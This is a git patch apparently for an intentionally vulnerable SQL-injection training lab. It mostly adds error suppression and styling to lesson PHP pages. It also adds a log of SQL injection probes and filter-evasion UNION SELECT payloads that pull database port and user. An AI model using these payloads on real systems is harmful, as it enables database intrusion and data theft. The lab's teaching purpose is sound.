From e96f21776372c8613a7e565106e62bc01a59355e Mon Sep 17 00:00:00 2001
From: Audi-1 <auditor.sec@gmail.com>
Date: Fri, 31 Oct 2014 20:10:23 +0100
Subject: [PATCH] Adding error_reporting till lesson 20

---
 Less-1/index.php   |   4 ++--
 Less-10/index.php  |   1 +
 Less-11/index.php  |   2 +-
 Less-12/index.php  |   2 +-
 Less-13/index.php  |   2 +-
 Less-14/index.php  |   2 +-
 Less-15/index.php  |   2 +-
 Less-16/index.php  |   2 +-
 Less-17/index.php  |   2 +-
 Less-18/index.php  |   2 +-
 Less-19/index.php  |   2 +-
 Less-2/index.php   |   4 ++--
 Less-20/index.php  |   1 +
 Less-27/result.txt | Bin 229 -> 998 bytes
 Less-28/result.txt |  52 +++++++++++++++++++++++++++++++++++++++++++++
 Less-3/index.php   |   4 ++--
 Less-4/index.php   |   4 ++--
 Less-5/index.php   |   2 +-
 Less-54/result.txt |  11 ++++++++++
 Less-6/index.php   |   2 +-
 Less-7/index.php   |   2 +-
 Less-8/index.php   |   2 +-
 Less-9/index.php   |   1 +
 23 files changed, 87 insertions(+), 21 deletions(-)
 mode change 100755 => 100644 Less-27/result.txt
 create mode 100644 Less-28/result.txt

diff --git a/Less-1/index.php b/Less-1/index.php
index 1ea11e0..ce5d22b 100755
--- a/Less-1/index.php
+++ b/Less-1/index.php
@@ -13,7 +13,7 @@
 <?php
 //including the Mysql connect parameters.
 include("../sql-connections/sql-connect.php");
-
+error_reporting(0);
 // take the variables 
 if(isset($_GET['id']))
 {
@@ -32,7 +32,7 @@
 
 	if($row)
 	{
-  	echo '<font color= "#0000ff">';	
+  	echo "<font size='5' color= '#99FF00'>";
   	echo 'Your Login name:'. $row['username'];
   	echo "<br>";
   	echo 'Your Password:' .$row['password'];
diff --git a/Less-10/index.php b/Less-10/index.php
index 3f11a56..1cd0a0a 100755
--- a/Less-10/index.php
+++ b/Less-10/index.php
@@ -13,6 +13,7 @@
 <?php
 //including the Mysql connect parameters.
 include("../sql-connections/sql-connect.php");
+error_reporting(0);
 
 // take the variables
 if(isset($_GET['id']))
diff --git a/Less-11/index.php b/Less-11/index.php
index bdbc21c..3d1ea63 100755
--- a/Less-11/index.php
+++ b/Less-11/index.php
@@ -38,7 +38,7 @@
 <?php
 //including the Mysql connect parameters.
 include("../sql-connections/sql-connect.php");
-
+error_reporting(0);
 
 // take the variables
 if(isset($_POST['uname']) && isset($_POST['passwd']))
diff --git a/Less-12/index.php b/Less-12/index.php
index b65f4bf..17a946d 100755
--- a/Less-12/index.php
+++ b/Less-12/index.php
@@ -38,7 +38,7 @@
 <?php
 //including the Mysql connect parameters.
 include("../sql-connections/sql-connect.php");
-
+error_reporting(0);
 
 // take the variables
 if(isset($_POST['uname']) && isset($_POST['passwd']))
diff --git a/Less-13/index.php b/Less-13/index.php
index 20f6caa..ca44e52 100755
--- a/Less-13/index.php
+++ b/Less-13/index.php
@@ -38,7 +38,7 @@
 <?php
 //including the Mysql connect parameters.
 include("../sql-connections/sql-connect.php");
-
+error_reporting(0);
 
 // take the variables
 if(isset($_POST['uname']) && isset($_POST['passwd']))
diff --git a/Less-14/index.php b/Less-14/index.php
index e135eaf..7119ba0 100755
--- a/Less-14/index.php
+++ b/Less-14/index.php
@@ -38,7 +38,7 @@
 <?php
 //including the Mysql connect parameters.
 include("../sql-connections/sql-connect.php");
-
+error_reporting(0);
 
 // take the variables
 if(isset($_POST['uname']) && isset($_POST['passwd']))
diff --git a/Less-15/index.php b/Less-15/index.php
index 36ef970..b97727d 100755
--- a/Less-15/index.php
+++ b/Less-15/index.php
@@ -38,7 +38,7 @@
 <?php
 //including the Mysql connect parameters.
 include("../sql-connections/sql-connect.php");
-
+error_reporting(0);
 
 // take the variables
 if(isset($_POST['uname']) && isset($_POST['passwd']))
diff --git a/Less-16/index.php b/Less-16/index.php
index 3d53488..4c7bf01 100755
--- a/Less-16/index.php
+++ b/Less-16/index.php
@@ -38,7 +38,7 @@
 <?php
 //including the Mysql connect parameters.
 include("../sql-connections/sql-connect.php");
-
+error_reporting(0);
 
 // take the variables
 if(isset($_POST['uname']) && isset($_POST['passwd']))
diff --git a/Less-17/index.php b/Less-17/index.php
index d7fc4ac..4285a3e 100755
--- a/Less-17/index.php
+++ b/Less-17/index.php
@@ -34,7 +34,7 @@
 <?php
 //including the Mysql connect parameters.
 include("../sql-connections/sql-connect.php");
-
+error_reporting(0);
 
 function check_input($value)
 	{
diff --git a/Less-18/index.php b/Less-18/index.php
index dd5d774..53751b7 100755
--- a/Less-18/index.php
+++ b/Less-18/index.php
@@ -32,7 +32,7 @@
 <?php
 //including the Mysql connect parameters.
 include("../sql-connections/sql-connect.php");
-
+error_reporting(0);
 	
 function check_input($value)
 	{
diff --git a/Less-19/index.php b/Less-19/index.php
index 47233fa..4316617 100755
--- a/Less-19/index.php
+++ b/Less-19/index.php
@@ -32,7 +32,7 @@
 <?php
 //including the Mysql connect parameters.
 include("../sql-connections/sql-connect.php");
-
+error_reporting(0);
 	
 function check_input($value)
 	{
diff --git a/Less-2/index.php b/Less-2/index.php
index b5cd5cc..ef3f4fd 100755
--- a/Less-2/index.php
+++ b/Less-2/index.php
@@ -17,7 +17,7 @@
 <?php
 //including the Mysql connect parameters.
 include("../sql-connections/sql-connect.php");
-
+error_reporting(0);
 // take the variables
 if(isset($_GET['id']))
 {
@@ -35,7 +35,7 @@
 
 	if($row)
 	{
-  	echo '<font color= "#0000ff">';	
+  	echo "<font size='5' color= '#99FF00'>";
   	echo 'Your Login name:'. $row['username'];
   	echo "<br>";
   	echo 'Your Password:' .$row['password'];
diff --git a/Less-20/index.php b/Less-20/index.php
index 484b3c7..6f7b3aa 100755
--- a/Less-20/index.php
+++ b/Less-20/index.php
@@ -10,6 +10,7 @@
 <?php
 //including the Mysql connect parameters.
 	include("../sql-connections/sql-connect.php");
+	error_reporting(0);
 if(!isset($_COOKIE['uname']))
 	{
 	//including the Mysql connect parameters.
diff --git a/Less-27/result.txt b/Less-27/result.txt
old mode 100755
new mode 100644
index 2cca7f8b550117d60f488a17a9926021043c5b89..b885913a298ba8ede25c0e34d474d9374ce9a8e1
GIT binary patch
literal 998
zcmeZtu`=ZH1QIb|QeB}mFEc++p*S@sHMvB=P{&BeSV31;0V)}aU(yq|PN1=1lZjLT
zu^+1&P)tHshwuc#Hgq)#%EYMR($(d{R2PgCF4$Eh=Hw_4Rs{-Rh$?t6V>OOTflQTL
zkhnuKlnW7XXr_{*);~x=9h`7<4b>G08x2=(X-QS(DTyVCNr}a&8k(S#%0+@TNIFT<
qSC(2-49p=w3rW)E;E<7DT#}cVn@XxakV8{4i%8X0kY7{+*8>1hZ6h)O

literal 229
zcmeZtu~JtE&CATsQwUDYNlh+MFw`;9F;=i<;POP5;(|(nWw=mu5g`RJ5UaMtyc7j>
aLu6yQpss<K%cVd_1=P7v(@}L>a{&P0GdjBf

diff --git a/Less-28/result.txt b/Less-28/result.txt
new file mode 100644
index 0000000..8a2070c
--- /dev/null
+++ b/Less-28/result.txt
@@ -0,0 +1,52 @@
+ID:1
+ID:1'
+ID:1"
+ID:1' AND 1=1 -- 
+ID:1 AND 1=1 -- 
+ID:1 AND 1=0 -- 
+ID:1" AND 1=0 -- 
+ID:1" AND 1=1 -- 
+ID:1' AND 1=1 -- 
+ID:1') AND 1=1 -- 
+ID:1\
+ID:1')
+ID:1') -- 
+ID:1 -- 
+ID:1 AND 1 -- 
+ID:1 AND 0 -- 
+ID:1') AND 0 -- 
+ID:1') AND 1 -- 
+ID:1') AND 1 -- 
+ID:1')
+AND
+1
+ -- 
+ID:1')
+AND
+1
+#
+ID:1') #
+ID:1') #
+ID:1') #
+ID:99') 
+uniunionon
+  selSelectect
+ 1,@@port,3
+OR ('1
+ID:99') 
+UnIoN
+ SeLect
+ 1,@@port,3
+OR ('1
+ID:99') 
+UnIoN
+all
+ SeLect
+ 1,@@port,3
+OR ('1
+ID:99') 
+UnIoN
+all
+ SeLect
+ 1,user(),3
+OR ('1
diff --git a/Less-3/index.php b/Less-3/index.php
index e71f631..831c251 100755
--- a/Less-3/index.php
+++ b/Less-3/index.php
@@ -15,7 +15,7 @@
 <?php
 //including the Mysql connect parameters.
 include("../sql-connections/sql-connect.php");
-
+error_reporting(0);
 // take the variables
 if(isset($_GET['id']))
 {
@@ -34,7 +34,7 @@
 
 	if($row)
 	{
-  	echo '<font color= "#0000ff">';	
+  	echo "<font size='5' color= '#99FF00'>";
   	echo 'Your Login name:'. $row['username'];
   	echo "<br>";
   	echo 'Your Password:' .$row['password'];
diff --git a/Less-4/index.php b/Less-4/index.php
index a27ea37..9f5c966 100755
--- a/Less-4/index.php
+++ b/Less-4/index.php
@@ -13,7 +13,7 @@
 <?php
 //including the Mysql connect parameters.
 include("../sql-connections/sql-connect.php");
-
+error_reporting(0);
 // take the variables
 if(isset($_GET['id']))
 {
@@ -32,7 +32,7 @@
 
 	if($row)
 	{
-  	echo '<font color= "#0000ff">';	
+  	echo "<font size='5' color= '#99FF00'>";
   	echo 'Your Login name:'. $row['username'];
   	echo "<br>";
   	echo 'Your Password:' .$row['password'];
diff --git a/Less-5/index.php b/Less-5/index.php
index f7525c8..f5ea9df 100755
--- a/Less-5/index.php
+++ b/Less-5/index.php
@@ -13,7 +13,7 @@
 <?php
 //including the Mysql connect parameters.
 include("../sql-connections/sql-connect.php");
-
+error_reporting(0);
 // take the variables
 if(isset($_GET['id']))
 {
diff --git a/Less-54/result.txt b/Less-54/result.txt
index ff2a1b2..5826b5c 100644
--- a/Less-54/result.txt
+++ b/Less-54/result.txt
@@ -2,3 +2,14 @@ ID:1
 ID:1'
 ID:-1' union select 1,2,3 -- 
 ID:
+ID:1
+ID:2
+ID:3
+ID:4
+ID:5
+ID:6
+ID:7
+ID:8
+ID:9
+ID:10
+ID:11
diff --git a/Less-6/index.php b/Less-6/index.php
index e104dd4..f0dce59 100755
--- a/Less-6/index.php
+++ b/Less-6/index.php
@@ -13,7 +13,7 @@
 <?php
 //including the Mysql connect parameters.
 include("../sql-connections/sql-connect.php");
-
+error_reporting(0);
 // take the variables
 if(isset($_GET['id']))
 {
diff --git a/Less-7/index.php b/Less-7/index.php
index 1246d6e..5f54d90 100755
--- a/Less-7/index.php
+++ b/Less-7/index.php
@@ -15,7 +15,7 @@
 <?php
 //including the Mysql connect parameters.
 include("../sql-connections/sql-connect.php");
-
+error_reporting(0);
 // take the variables
 if(isset($_GET['id']))
 {
diff --git a/Less-8/index.php b/Less-8/index.php
index e39dfde..19c5e42 100755
--- a/Less-8/index.php
+++ b/Less-8/index.php
@@ -13,7 +13,7 @@
 <?php
 //including the Mysql connect parameters.
 include("../sql-connections/sql-connect.php");
-
+error_reporting(0);
 // take the variables
 if(isset($_GET['id']))
 {
diff --git a/Less-9/index.php b/Less-9/index.php
index 46a28a5..77b8f5c 100755
--- a/Less-9/index.php
+++ b/Less-9/index.php
@@ -13,6 +13,7 @@
 <?php
 //including the Mysql connect parameters.
 include("../sql-connections/sql-connect.php");
+error_reporting(0);
 
 // take the variables
 if(isset($_GET['id']))